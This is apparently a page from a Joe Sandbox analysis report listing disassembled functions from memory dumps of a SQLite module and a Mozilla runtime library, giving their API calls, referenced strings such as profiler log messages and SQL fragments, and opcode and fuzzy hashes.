Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: freememcmp
String ID: = ?$ AND $ IS ?$ SET $ WHERE $UPDATE main.$bua$bua$idx IS CASE WHEN length(?4)=0 AND typeof(?4)='blob' THEN NULL ELSE ?4 END $sqlite_stat1
API String ID: 1183899719-1341641573
Opcode ID: 174dedf329261ed8d994897df86d0489eb11c868ed87e24bfa51aa35a0d70313
Instruction ID: 0d5b731b4e6e71452f02b40a28acc7cf76705435dae47c5a45c9821af7cd2139
Opcode Fuzzy Hash: 174dedf329261ed8d994897df86d0489eb11c868ed87e24bfa51aa35a0d70313
Instruction Fuzzy Hash: AE12E774E04259DBDB04CF98D480A9DBBF2BF88308F25C869E855AB351D774E886CF81

Function 61E3C943 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 360stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3CC03
strncmp.MSVCRT ref: 61E3CC58
strncmp.MSVCRT ref: 61E3CCA9

Strings

-, xrefs: 61E3CD00
}, xrefs: 61E3CDBB
0, xrefs: 61E3CCF9
], xrefs: 61E3CDC5
-, xrefs: 61E3CCF0
false, xrefs: 61E3CC9E
true, xrefs: 61E3CC4D
null, xrefs: 61E3CBF8

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction ID: 7d0d7d581299a88f4ecf4101ed3cb2921062378b47abb911dec42016596cbabc
Opcode Fuzzy Hash: 4366ec816b9fce7022b57502cc8f689d133e39cff5fe7996cab8ff7cfed47eb1
Instruction Fuzzy Hash: 4BD1DF70B482768ADB12CFA8C4443DABBF2AFCA318F69C25BD4919B281D739D446C751

Function 61E44905 Relevance: 13.8, APIs: 6, Strings: 3, Instructions: 346COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E44953
memcmp.MSVCRT ref: 61E44A05
memcmp.MSVCRT ref: 61E44BC9
memcmp.MSVCRT ref: 61E44C16
memcmp.MSVCRT ref: 61E44C7A
memcmp.MSVCRT ref: 61E44CAE

Strings

cache, xrefs: 61E44CA7, 61E44CC5
@, xrefs: 61E44922
access, xrefs: 61E44BE0

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: @$access$cache
API String ID: 1475443563-1361544076
Opcode ID: d5536d11e1446137f876ee1720edd4e4232c55533b5c63909df9ac41a168e106
Instruction ID: bf7f6bc55254c54d21197c9aa673ce015ae0bdc4e4658c964804263f7089fac0
Opcode Fuzzy Hash: d5536d11e1446137f876ee1720edd4e4232c55533b5c63909df9ac41a168e106
Instruction Fuzzy Hash: FDD16FB4A083558FEB11CFA4D48039EBBF1AF89318F28C45ED895AB341E339D841DB55

Function 61E241D7 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E24268

Strings

program, xrefs: 61E24457
NULL, xrefs: 61E243A4
bua, xrefs: 61E24274
(blob), xrefs: 61E2439F
ya, xrefs: 61E2427F
bua, xrefs: 61E24252
Xya, xrefs: 61E24418
ya, xrefs: 61E2429A

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strcmp
String ID: ya$ya$(blob)$NULL$Xya$bua$bua$program
API String ID: 1004003707-2454903709
Opcode ID: a6b2441489b3eea19d207b247f0247f0001f19373451080d8235a064463bd687
Instruction ID: 4befd86826370bfd8630e1afa8d422750160e2b9b2ea18a9ced5634f5bcee847
Opcode Fuzzy Hash: a6b2441489b3eea19d207b247f0247f0001f19373451080d8235a064463bd687
Instruction Fuzzy Hash: 3B7115B49097469FC708CF58C191A59BBF0BF8A304F25C85EE8A89B751D335D882CF92

Function 6D2F5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5DC9
std::_Facet_Register.LIBCPMT ref: 6D2F5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6D2F5C8C,?,6D2CE829), ref: 6D2F5E45

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6afe1fe3830950ee0cf5a3381761c5ae5dbe823f08fd400e9ad05f8bc009cf04
Instruction ID: a7115dff5c1b4a0d912a3a2a605c00e2a36fbd846def2eaef99f8901a9e071c9
Opcode Fuzzy Hash: 6afe1fe3830950ee0cf5a3381761c5ae5dbe823f08fd400e9ad05f8bc009cf04
Instruction Fuzzy Hash: 6441A131A8030A9FCB04DF65CC99BBEB7B9EF89315F058428D6169B381DB31D806CB61

Function 61EAFA90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 61EAFABB
vfprintf.MSVCRT ref: 61EAFAD7
abort.MSVCRT ref: 61EAFADC
VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction ID: e02739713456e9e2b4b58c9f61bb7aa4e21306e92e7ace3c3799b12748f41957
Opcode Fuzzy Hash: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction Fuzzy Hash: 9A412AB1A547029FD700DF68D58464ABBF0FB89758F64C92DE8A98B340E734E884CB52

Function 6D30B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6D30B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6D30B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D30B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D30B5F4
__Init_thread_footer.LIBCMT ref: 6D30B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6D30B61F
std::_Facet_Register.LIBCPMT ref: 6D30B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D30B655

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bc4f684ef919320ae3105e4514a69d637d263bfc6b034f104f6926a03fb30997
Instruction ID: c2d2f005b09e8c6bb7426d1e27ec1c435163cc1f4984c689aed615615638fd15
Opcode Fuzzy Hash: bc4f684ef919320ae3105e4514a69d637d263bfc6b034f104f6926a03fb30997
Instruction Fuzzy Hash: 5B31A772A01606DBCF04DF69CC56A7EB7B9FF86320F150529DA269B340DB31A806CF91

Function 61E01040 Relevance: 10.6, APIs: 7, Instructions: 132sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,61E012DC), ref: 61E01077
_amsg_exit.MSVCRT ref: 61E010A4

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction ID: a154691f748ef5392a7e4955094c5928503ae470ce452f5208c2c148eeae8840
Opcode Fuzzy Hash: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction Fuzzy Hash: 13414F71B146818FEB00AFE8C98470BB7F1EB85399F64C53DE4A48B344D775D9918B82

Function 6D2DF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D2CCBE8: GetCurrentProcess.KERNEL32(?,6D2931A7), ref: 6D2CCBF1
Part of subcall function 6D2CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6D2931A7), ref: 6D2CCBFA

Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6D2A4A68), ref: 6D2D945E
Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6D2D9470
Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6D2D9482
Part of subcall function 6D2D9420: __Init_thread_footer.LIBCMT ref: 6D2D949F

GetCurrentThreadId.KERNEL32 ref: 6D2DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6D2DF598), ref: 6D2DF621

Part of subcall function 6D2D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6D2D94EE
Part of subcall function 6D2D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6D2D9508

GetCurrentThreadId.KERNEL32 ref: 6D2DF637
AcquireSRWLockExclusive.KERNEL32(6D31F4B8,?,?,00000000,?,6D2DF598), ref: 6D2DF645
ReleaseSRWLockExclusive.KERNEL32(6D31F4B8,?,?,00000000,?,6D2DF598), ref: 6D2DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6D2DF62A

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: c43deb2a4ef066b03ec617b157742290deb2b730f09693c66d6b46409d67619f
Instruction ID: cdb5877be4ecdf41a6cb974f1fbb858fa34f4210e1d008698886fe6ebf0f9746
Opcode Fuzzy Hash: c43deb2a4ef066b03ec617b157742290deb2b730f09693c66d6b46409d67619f
Instruction Fuzzy Hash: BE11E77614821BBBCB449F58DC45AA6777DFF86359B050025EA2587B01CB71A821CBA1

Function 6D2DF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6D2A4A68), ref: 6D2D945E
Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6D2D9470
Part of subcall function 6D2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6D2D9482
Part of subcall function 6D2D9420: __Init_thread_footer.LIBCMT ref: 6D2D949F

GetCurrentThreadId.KERNEL32 ref: 6D2DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D2DF561

Part of subcall function 6D2D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6D2D94EE
Part of subcall function 6D2D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6D2D9508

GetCurrentThreadId.KERNEL32 ref: 6D2DF577
AcquireSRWLockExclusive.KERNEL32(6D31F4B8), ref: 6D2DF585
ReleaseSRWLockExclusive.KERNEL32(6D31F4B8), ref: 6D2DF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6D2DF239
[I %d/%d] profiler_pause_sampling, xrefs: 6D2DF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6D2DF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6D2DF499

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: a7ead7605b1afb1f5e48fe82d144e16cd94e860801647ca5561fdf85dc1c9376
Instruction ID: 1aee6c4895a83378d5aaa67ffffa4029c3d3639718c6b9e007973b13394a2629
Opcode Fuzzy Hash: a7ead7605b1afb1f5e48fe82d144e16cd94e860801647ca5561fdf85dc1c9376
Instruction Fuzzy Hash: 09F0B476104216BFDB006F64AC49B2A7BBCFB8729DF050025FB1587302DF7148018771

Function 6D2D05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6D2CCFAE,?,?,?,6D2931A7), ref: 6D2D05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6D2CCFAE,?,?,?,6D2931A7), ref: 6D2D0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6D2931A7), ref: 6D2D061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6D2931A7), ref: 6D2D0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6D2D061B, 6D2D0625
<jemalloc>, xrefs: 6D2D05FA, 6D2D060F

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: e2fe28d377358531f53964fbca958599c97823cebd6f9d3ad163133712a0b972
Instruction ID: 5025856e971cedd1cf61d35e97c82c39324943b0e9722c0a951acf14e317ca68
Opcode Fuzzy Hash: e2fe28d377358531f53964fbca958599c97823cebd6f9d3ad163133712a0b972
Instruction Fuzzy Hash: 4AE08CE391501037F5142256AC86EBB761CCBC6134F090039FE0D82301EA4EAD1A91FA

Function 6D2A05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c826eb557413da1bbc407cd333eed8270a884bc811037d449c81f5755c71a3
Instruction ID: 602b68fb636fcc5ff801552245bcece88e14d8a1f1b2f5a9635545ae1bc0a424
Opcode Fuzzy Hash: f6c826eb557413da1bbc407cd333eed8270a884bc811037d449c81f5755c71a3
Instruction Fuzzy Hash: 4DA148B194460A8FDB24CF29CA84B99FBF5FF49304F44856ED45A97700E730A945CFA0

Function 6D2E1D00 Relevance: 9.1, APIs: 6, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6D2E1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6D2E1BE3,?,?,6D2E1D96,00000000), ref: 6D2E1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6D2E1BE3,?,?,6D2E1D96,00000000), ref: 6D2E1D4C
GetCurrentThreadId.KERNEL32 ref: 6D2E1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6D2E1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6D2E1DDA

Part of subcall function 6D2E1EF0: GetCurrentThreadId.KERNEL32 ref: 6D2E1F03
Part of subcall function 6D2E1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6D2E1DF2,00000000,00000000), ref: 6D2E1F0C
Part of subcall function 6D2E1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6D2E1F20

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread
String ID:
API String ID: 135963836-0
Opcode ID: 20918b439fbf46c915acc9efde67538ccebd17d52e0be1cca531c4f8f13039ed
Instruction ID: 418ce3ce18a3cd74cdb35ad9c16abb194c7f060feabe39b0a16407dcd6be482b
Opcode Fuzzy Hash: 20918b439fbf46c915acc9efde67538ccebd17d52e0be1cca531c4f8f13039ed
Instruction Fuzzy Hash: 564178B5600706AFCB14CF29C889B66BBF9FB89354F10442EE96A87741CB71E854CB91

Function 6D2EDDC0 Relevance: 7.7, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2EDE0D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2EDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2EDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D2EDEE9

Part of subcall function 6D2CFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6D2CFA4B

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6D2DDEFD,?,6D2A4A68), ref: 6D2EDF32

Part of subcall function 6D2B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6D2B5EDB
Part of subcall function 6D2B5E90: memset.VCRUNTIME140(ew/m,000000E5,?), ref: 6D2B5F27
Part of subcall function 6D2B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6D2B5FB2

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6D2DDEFD,?,6D2A4A68), ref: 6D2EDF65

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: free$CriticalSection$EnterExclusiveLeaveLockReleasememset
String ID:
API String ID: 2543209649-0
